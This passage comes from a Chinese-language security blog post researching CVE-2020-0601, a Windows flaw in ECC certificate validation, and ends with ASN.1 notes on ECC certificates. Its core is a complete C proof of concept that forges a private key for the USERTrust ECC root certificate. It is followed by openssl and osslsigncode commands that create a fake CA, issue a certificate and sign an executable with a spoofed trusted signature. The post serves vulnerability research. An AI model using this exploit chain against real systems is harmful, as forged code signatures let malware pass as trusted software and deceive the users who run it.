class="base"><span class="strut" style="height:0.751892em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">i</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault">u</span><span class="mord mathdefault">b</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault">u</span><span class="mord mathdefault">b</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span></span></span>。所以此时被公钥加密过的内容能够被私钥解密，同时保证证书的自校验能够通过。</li></ul><h2 id="漏洞利用思路">漏洞利用思路</h2><p>由于Windows对证书的验证过程中，指挥检测公钥的基本信息（和已安装的证书内容进行比较），所以我们可以找一个用了ECC加密的根证书。然后将这个根证书中的G进行修改。这样我们就能自己伪装成CA，使用这个ECC证书对我们自己的<strong>CSR</strong>进行签名。这样当我们就能获得一个<strong>来自ECC官方签名后的证书</strong>。</p><h3 id="复现过程">复现过程</h3><p>首先这里放出参考别人写的<code>Poc</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;openssl/x509.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;openssl/pem.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;openssl/err.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/applink.c&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;libssl.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;libcrypto.lib&quot;</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>*argv[] )</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] CVE-2020-0601 Reproduce [+]&quot;</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] ==== Load Cert file === [+]&quot;</span>);</span><br><span class="line"><span class="type">char</span> filename[<span class="number">260</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="type">char</span> new_filename[<span class="number">270</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="keyword">if</span> (argc &lt; <span class="number">2</span>) </span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">strcpy</span>(filename, <span class="string">&quot;USERTrustECCCertificationAuthority.crt&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (argc == <span class="number">2</span>) &#123;</span><br><span class="line"><span class="built_in">strcpy</span>(filename, argv[<span class="number">1</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">strcpy</span>(new_filename, filename);</span><br><span class="line"><span class="built_in">strcat</span>(new_filename, <span class="string">&quot;_modify&quot;</span>);</span><br><span class="line"><span class="comment">// read cert file content with openssl api</span></span><br><span class="line">BIO *bCert = <span class="literal">NULL</span>, *bKey = <span class="literal">NULL</span>, *bOut = <span class="literal">NULL</span>;</span><br><span class="line">X509 *xCert = <span class="literal">NULL</span>;</span><br><span class="line">EVP_PKEY *publicKey = <span class="literal">NULL</span>;</span><br><span class="line">EC_KEY *ecPublicKey = <span class="literal">NULL</span>;</span><br><span class="line">EC_GROUP *ecGroup = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> bStatus = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span> </span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// new a BIO memory</span></span><br><span class="line">bCert = BIO_new(BIO_s_file());</span><br><span class="line">bOut = BIO_new_fp(<span class="built_in">stdout</span>, BIO_NOCLOSE);</span><br><span class="line"><span class="keyword">if</span> (bCert == <span class="literal">NULL</span>)&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] NEW BIO ERROR&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!BIO_read_filename(bCert, filename))&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] READ FILE ERROR&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// parse cert file, here will parse like openssl x509 -in certfile -text</span></span><br><span class="line">xCert = PEM_read_bio_X509(bCert, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (xCert == <span class="literal">NULL</span>)&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Read the x509 cert failed&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">X509_print_ex(bOut, xCert, <span class="number">0</span>, </span><br><span class="line">X509_FLAG_NO_VERSION </span><br><span class="line">| X509_FLAG_NO_SIGNAME </span><br><span class="line">| X509_FLAG_NO_SIGDUMP </span><br><span class="line">| X509_FLAG_NO_EXTENSIONS </span><br><span class="line">| X509_FLAG_NO_AUX </span><br><span class="line">| X509_FLAG_NO_ATTRIBUTES </span><br><span class="line">| X509_FLAG_NO_IDS);</span><br><span class="line">publicKey = X509_get0_pubkey(xCert);</span><br><span class="line"><span class="keyword">if</span> (publicKey == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Get public key error&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (EVP_PKEY_id(publicKey) != EVP_PKEY_EC) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] This is not EC CERT&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">publicKey = X509_get0_pubkey(xCert);</span><br><span class="line"><span class="keyword">if</span> (publicKey == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Get the ec public key error&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (EVP_PKEY_id(publicKey) != EVP_PKEY_EC) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] This public key is not ec key!&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">ecPublicKey = EVP_PKEY_get0_EC_KEY(publicKey);</span><br><span class="line"><span class="keyword">if</span> (ecPublicKey == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] get EC Public key from publick key error!&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Try to dup a new EC Group, with self-defined public/private key and generator</span></span><br><span class="line">EC_GROUP* tmp_ecGroup = <span class="literal">NULL</span>;</span><br><span class="line">tmp_ecGroup = EC_GROUP_dup(EC_KEY_get0_group(ecPublicKey));</span><br><span class="line"><span class="keyword">if</span> (tmp_ecGroup == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Dup ec group error&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Set this group to explicit, that&#x27;s mean we can modified it&#x27;s ec parameter</span></span><br><span class="line"><span class="comment">// public/private key and generator</span></span><br><span class="line"><span class="comment">// this work like openssl ecparam -param_enc explicit</span></span><br><span class="line">EC_GROUP_set_asn1_flag(tmp_ecGroup, OPENSSL_EC_EXPLICIT_CURVE);</span><br><span class="line"><span class="comment">// here we set new ec group generator to Public Key</span></span><br><span class="line"><span class="keyword">if</span> (!EC_GROUP_set_generator(</span><br><span class="line">tmp_ecGroup,</span><br><span class="line">EC_KEY_get0_public_key(ecPublicKey),</span><br><span class="line">EC_GROUP_get0_order(EC_KEY_get0_group(ecPublicKey)),</span><br><span class="line">EC_GROUP_get0_cofactor(EC_KEY_get0_group(ecPublicKey))</span><br><span class="line">)) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Set new EC group generator error&quot;</span>);</span><br><span class="line">ERR_print_errors(bOut);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// here we copy a new EC Group, with same Pub/Priv key and generator</span></span><br><span class="line">ecGroup = tmp_ecGroup;</span><br><span class="line"></span><br><span class="line"><span class="comment">// update the ec public key to new ec group</span></span><br><span class="line"><span class="keyword">if</span> (!EC_KEY_set_group(ecPublicKey, ecGroup) )&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Set new EC group error&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// here we will edit the private key to one</span></span><br><span class="line"><span class="keyword">if</span> (!EC_KEY_set_private_key(ecPublicKey, BN_value_one())) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERRO] Set private key failed&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Now the Pub/Priv key satisfy the pub=priv*generator</span></span><br><span class="line"></span><br><span class="line">BIO_printf(bOut, <span class="string">&quot;Private key set to 1\n&quot;</span>);</span><br><span class="line">EC_KEY_print(bOut, ecPublicKey, <span class="number">0</span>);</span><br><span class="line"><span class="comment">// now perpare to write to new key file</span></span><br><span class="line">bKey = BIO_new(BIO_s_file());</span><br><span class="line"><span class="keyword">if</span> (!bKey) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERROR] Create new file failed&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!BIO_write_filename(bKey, new_filename)) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERRO] redirect bKey to new file failed&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!PEM_write_bio_ECPrivateKey(bKey, ecPublicKey, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>)) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[ERRO] Write to new file as PEM format failed&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (bKey)</span><br><span class="line">BIO_free(bKey);</span><br><span class="line"><span class="keyword">if</span> (bCert)</span><br><span class="line">BIO_free(bCert);</span><br><span class="line"><span class="keyword">if</span> (bOut)</span><br><span class="line">BIO_free(bOut);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为搜了很久，找不到 python 操作证书的细节，所以只能用C来写了。其实整个PoC做的事情很简单：</p><ul><li>读取证书<code>USERTrustECCCertificationAuthority.crt</code>中的内容</li><li>将证书中的EC（椭圆曲线加密）中的Group（群）读取出来，将其拷贝一份</li><li>将新拷贝中的公钥生成元改成公钥的值，并且将私钥改成1，此时符合等式<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>u</mi><mi>b</mi><mi>K</mi><mi>e</mi><mi>y</mi><mo>=</mo><mi>G</mi><mo>∗</mo><mi>P</mi><mi>r</mi><mi>i</mi><mi>v</mi><mi>K</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">PubKey=G*PrivKey</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault">u</span><span class="mord mathdefault">b</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">G</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">i</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span></span></span></li><li>将新的群写入到自定义的公钥私钥对中。这个新的公钥私钥对就能够用来生成伪造的CA</li></ul><p>因为上文提过，证书<strong>只要加上-param_enc explicit参数，就允许自定义证书中的算法参数</strong>。这个漏洞正是利用了这个特点，在不改变公钥的前提下，将私钥和生成元自定义。</p><p>然后使用如下的指令生成自己的CA:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\openssl.exe req -key USERTrustECCCertificationAuthority.crt_modify -new -out FakeCA.crt -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26</span><br></pre></td></tr></table></figure><p>之后就能够用这个CA给CSR签名了。我们随便生成一个证书并且发起请求:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.\openssl.exe ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey-test.pem</span><br><span class="line">.\openssl.exe req -key .\prime256v1-privkey-test.pem -new -out prime256v1_req.csr</span><br></pre></td></tr></table></figure><p>然后用CA对这个请求进行授权，得到一个CA授权的证书：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\openssl.exe x509 -req -in .\prime256v1_req.csr -CA .\FakeCA.crt -CAkey .\USERTrustECCCertificationAuthority.crt_modify -CAcreateserial -out fake-test-cert.crt -days 500 -extensions v3-req</span><br></pre></td></tr></table></figure><p>这样就做出了一个可以用于签名的证书。不过首先要将这些证书打包:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\openssl.exe pkcs12 -export -in .\fake-test-cert.crt -inkey .\prime256v1-privkey-test.pem -certfile .\FakeCA.crt -name &quot;Fake Sign&quot; -out fakep12.p12</span><br></pre></td></tr></table></figure><p>这边证书打包成了<code>PKCS#12</code>的格式，然后我们使用签名工具<code>osslsigncode</code>进行签名（微软的signcode.exe似乎没办法对<code>PKCS#12</code>格式的文件进行签名）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">osslsigncode sign -pkcs12 fakep12.p12 -n &quot;Singed by l1nk&quot; -in test.exe -out test-l1nk.exe</span><br></pre></td></tr></table></figure><p>最后我们检查一下被签名的文件:<br><img src="/2020/01/21/CVE-2020-0601-Research/cve07.png" alt=""></p><p>可以看到，我们成功伪造了一个签名。</p><h3 id="一点思考">一点思考</h3><p>很多的文章提到，微软修复了API<code>CertVerifyCertificateChainPolicy</code>调用的<code>CertDllVerifyMicrosoftRootCertificateChainPolicy</code>这个API的bug，从而修复了这个问题。但是我发现，无论是微软的<code>signcode.exe</code>，还是我自己写API去check这个签名的时候，又或者直接点开证书的时候，都会发现<strong>实际上程序能够发现漏洞</strong>，使用API check的时候会爆出错误:<code>CERT_E_UNTRUSTEDROOT</code>，也就是<strong>当前根证书不可信</strong>，与其他两种方法去verify证书的时候爆出的错误类型一致。</p><p>这是不是就说明实际上的问题<strong>这个API出现的问题实际上不是这个漏洞真正的成因</strong>呢？这个就当作最近的TODOList了</p><h3 id="散记">散记</h3><p>这里记录一些研究过程中参考过的相关资料（内容不太全）</p><h4 id="ecc-asn-1">ECC ASN.1</h4><p>因为OpenSSL定义的证书中的细节是用 ASN.1 的协议来定义的，所以这边需要介绍一下这个协议的细节:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">SubjectPublicKeyInfo  ::=  SEQUENCE  &#123;</span><br><span class="line">algorithm         AlgorithmIdentifier,</span><br><span class="line">subjectPublicKey  BIT STRING</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个是<code>X.509</code>证书协议中定义的<code>ASN.1</code>形式的结构体.这个结构中描述了两个关键内容:</p><ul><li>algorithm中定义了ECC算法本身以及ECC公钥中使用的参数</li><li>subjectPublicKey定义了ECC的公钥</li></ul><p>然后这个<code>AlgorithmIdentifier</code>定义如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">AlgorithmIdentifier  ::=  SEQUENCE  &#123;</span><br><span class="line">algorithm   OBJECT IDENTIFIER,</span><br><span class="line">parameters  ANY DEFINED BY algorithm OPTIONAL</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个<code>algorithm</code>定义了算法本身，算法分为以下几种:</p><ul><li>id-ecPublicKey:表明当前的算法可以与主要公钥一起使用，没有限制</li><li>id-ecDH:表明当前算法的主要公钥只能在<strong>椭圆曲线Diffie-Hellman</strong>算法一起使用</li><li>id-ecMQV:表明当前算法的主要公钥能够在<strong>椭圆曲线Menezes-Qu-Vanstone</strong>算法下使用</li></ul><p>通常我们使用的是第一种。这里我们详细介绍一下第一种算法的细节。如果使用第一种算法的话，此时的<code>OBJECT IDENTIFIER</code>定义如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id-ecPublicKey OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">       iso(1) member-body(2) us(840) ansi-X9-62(10045) keyType(2) 1 &#125;</span><br></pre></td></tr></table></figure><p>之后<strong>必须包含</strong>如下的参数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ECParameters ::= CHOICE &#123;</span><br><span class="line">   namedCurve         OBJECT IDENTIFIER</span><br><span class="line">   -- implicitCurve   NULL</span><br><span class="line">   -- specifiedCurve  SpecifiedECDomain</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>namedCurve指定了当前椭圆曲线算法中具体使用的椭圆曲线算法类型。包含如下的类型:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">secp192r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) member-body(2) us(840) ansi-X9-62(10045) curves(3)</span><br><span class="line">  prime(1) 1 &#125;</span><br><span class="line"></span><br><span class="line">sect163k1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 1 &#125;</span><br><span class="line"></span><br><span class="line">sect163r2 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 15 &#125;</span><br><span class="line"></span><br><span class="line">secp224r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 33 &#125;</span><br><span class="line"></span><br><span class="line">sect233k1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 26 &#125;</span><br><span class="line">  sect233r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 27 &#125;</span><br><span class="line"></span><br><span class="line">secp256r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) member-body(2) us(840) ansi-X9-62(10045) curves(3)</span><br><span class="line">  prime(1) 7 &#125;</span><br><span class="line"></span><br><span class="line">sect283k1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 16 &#125;</span><br><span class="line"></span><br><span class="line">sect283r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 17 &#125;</span><br><span class="line"></span><br><span class="line">secp384r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 34 &#125;</span><br><span class="line"></span><br><span class="line">sect409k1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 36 &#125;</span><br><span class="line"></span><br><span class="line">sect409r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 37 &#125;</span><br><span class="line"></span><br><span class="line">secp521r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 35 &#125;</span><br><span class="line"></span><br><span class="line">sect571k1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 38 &#125;</span><br><span class="line"></span><br><span class="line">sect571r1 OBJECT IDENTIFIER ::= &#123;</span><br><span class="line">  iso(1) identified-organization(3) certicom(132) curve(0) 39 &#125;</span><br></pre></td></tr></table></figure><h5 id="subjectpublickey">subjectPublicKey</h5><p>这个位置定义了ECC使用的公钥。ECC 定义公钥语法如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ECPoint ::= 